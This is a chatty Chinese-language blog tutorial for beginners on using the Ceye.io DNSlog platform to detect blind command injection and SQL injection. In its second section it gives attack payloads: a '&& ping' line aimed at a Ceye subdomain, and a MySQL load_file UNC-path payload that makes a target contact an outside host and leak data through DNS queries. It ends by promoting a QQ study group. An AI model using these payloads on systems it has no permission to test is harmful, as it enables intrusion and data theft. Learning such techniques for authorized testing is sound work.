30分钟入门Ceye：我的踩坑日记，手把手教你玩转DNSlog平台！
哎呀,兄弟们，今天咱们来聊聊一个我最近刚摸透的“神器”——Ceye！说实话，第一次听到这名字的时候，我还在想，这玩意儿是干嘛的？跟“眼睛”有啥关系？结果一查，好家伙，原来是DNSlog平台里的“扛把子”啊！如果你跟我一样，刚接触网络安全，或者正在为“无回显”漏洞头疼，那这篇30分钟入门Ceye的文章，你可得瞪大眼睛看好了！因为，它真的能救命！哈哈！
为什么我非要学Ceye？这玩意儿到底有啥用？
来,咱先别急着敲命令，我先给你讲讲我的真实经历，有一次，我测试一个站点，明明发现了一个命令执行的点，结果呢？不管我怎么弹shell，就是一点回显都没有！我当时那个急啊，就像热锅上的蚂蚁，差点把键盘都砸了，后来，群里的大佬幽幽地说了句：“傻小子，用Ceye做一次DNSlog不就行了？”
那一刻,我仿佛打开了新世界的大门。Ceye说白了，就是一个帮你记录DNS查询和HTTP访问的平台，你在你自己的域名（或者平台提供的公共域名）里塞一个“独一无二”的标签（就是那个子域名字符串），然后让目标服务器去访问它，只要目标真的“中招”了，它就会向这个域名发起请求，而Ceye就能精准地记录下这次请求的IP、时间、请求头等等信息，这不就等于，就算它不给你“说话”（无回显），你也能通过它“偷偷”给你打信号吗？是不是贼聪明？
我说的30分钟入门Ceye,真不是吹牛，因为它真的就是一个“傻瓜式”操作，你不需要懂太多高深的原理，只要跟着我的节奏走，包你半小时后，遇见无回显漏洞，心里稳如老狗！
干活了！30分钟，从零开始实操Ceye（含我的血泪教训）
好了,不废话了，咱们直接进入正题，这30分钟，我给你切成了三个10分钟的段落，保证你学得不困。
第一个10分钟：拿到你的“专属雷达”（注册和获取域名）
这一步,咱们得先有个“根据地”，你直接在浏览器搜索“Ceye.io”，进入官网（我猜这都不用教吧？），然后注册个账号，这步没什么难度，就是邮箱验证一下，比我注册游戏账号还简单。
登录进去之后,你会看到你的个人面板，上面明晃晃地写着你的专属子域名，长这样：XXXX.ceye.io，记住这个玩意儿！这就是你的“雷达”核心。这里我必须扯着嗓子喊一句：千万别用公共的测试域名，一定要用你自己的专属域名，不然查询记录会乱成一锅粥，你根本分不清哪条是目标发给你的信号！ 我当时就图省事，差点在这上面栽跟头。
你看看左边菜单栏,有个“我的输入信息”和“查询记录”，现在先别管它，咱们先干正事。
第二个10分钟：让目标“乖乖”访问你的雷达（常用Payload姿势）
咱们手上有了“雷达”，接下来就是怎么让目标服务器来“碰瓷”了，这个步骤的灵魂就是——把我们的专属域名拼接成一条独一无二的“探测字符串”。
我最常用的姿势,就是拼在命令执行或者SQL注入的Payload里。
- 命令执行场景：假设有个ping命令的注入点，你本地ping是没有任何反馈的，但你可以在后面加上
&& ping 你的标签.你的专属域名。ping -c 1 xxx.xxxx.ceye.io，等它执行了，DNS解析记录就会发到你的Ceye后台。 - SQL注入场景：在盲注的时候，你可以用
load_file(concat('\\\\你的标签.你的专属域名\\abc'))这样的构造（Windows下的UNC路径），让数据库去访问你的域名。
这里面的关键点，就是那个“标签”（Tag）。 你最好给每一个目标，甚至每一个测试点，都生成一个独一无二的标签（比如用1a2b3c、test1等等），我个人的习惯是用随机数，这样在后头看记录的时候，就不会像个无头苍蝇一样到处乱找了，哎呀，说到这，不禁想起我刚开始那会儿，总用一样的标签，结果后台记录满天飞，我对着屏幕看了半天，愣是不知道该看哪条！真是欲哭无泪啊！
第三个10分钟：见证奇迹，查看命中记录！
你发送了带有“雷达成名”的请求后，就可以回到你的Ceye面板，点击“查询记录”了，这感觉，是不是有点像开盲盒？又紧张又刺激！
如果你的Payload打对了,这里就会滚雪球一样涌出带有你标签的DNS查询记录，这时候，你就能看到目标服务器的真实IP，甚至是你注入出来的数据，它们会以xxx.的子域名形式出现在记录里，看到那一条条记录跳出来的时候，那种舒爽感，简直比夏天喝冰可乐还带劲！
如果等了几分钟，记录还是空空如也，怎么办？ 别慌，兄弟，咱们先检查一下：
- 你的专属域名是不是粘贴错了？（我保证，80%的人第一次都是错在这！）
- 目标网络是不是真的无法访问外网（有些内网环境是绝对隔离的）。
- 你的Payload是不是被WAF拦了？看看有没有触发什么安全狗之类的。
排查完这三步,基本你就能找到问题所在了，我那次失败，就是因为把Payload里的引号给转义了，结果是传给后端是个空值，气得我差点捶桌！
说在最后（给你的小灶时间）
好啦,兄弟们，这就是我总结的30分钟入门Ceye的全部心法了，是不是感觉特别简单？但简单归简单，实战中能不能想起来用，就看你的熟练度了，这玩意儿除了搞命令执行，在反序列化、XXE、SSRF这些漏洞验证上，都是不可多得的“明灯”。
如果你看完了这篇分享,觉得还挺有意思，想学更多的网络安全实战技巧，或者在实际操作中遇到了什么看不懂的报错，想找个人一起探讨探讨，嘿嘿，学习网络安全可以加QQ：咱们一起交流进步！ 群里气氛可好了，不仅有各种大佬答疑，还有一堆像我一样的“踩坑小能手”陪你唠嗑。
好了,不耽误你动手实操了，赶紧去试试看，半小时后，希望你能回来在评论区，兴奋地跟我喊一句：“哇靠，真的能看到记录！” 我等着你们的好消息！加油，未来的安全大佬！
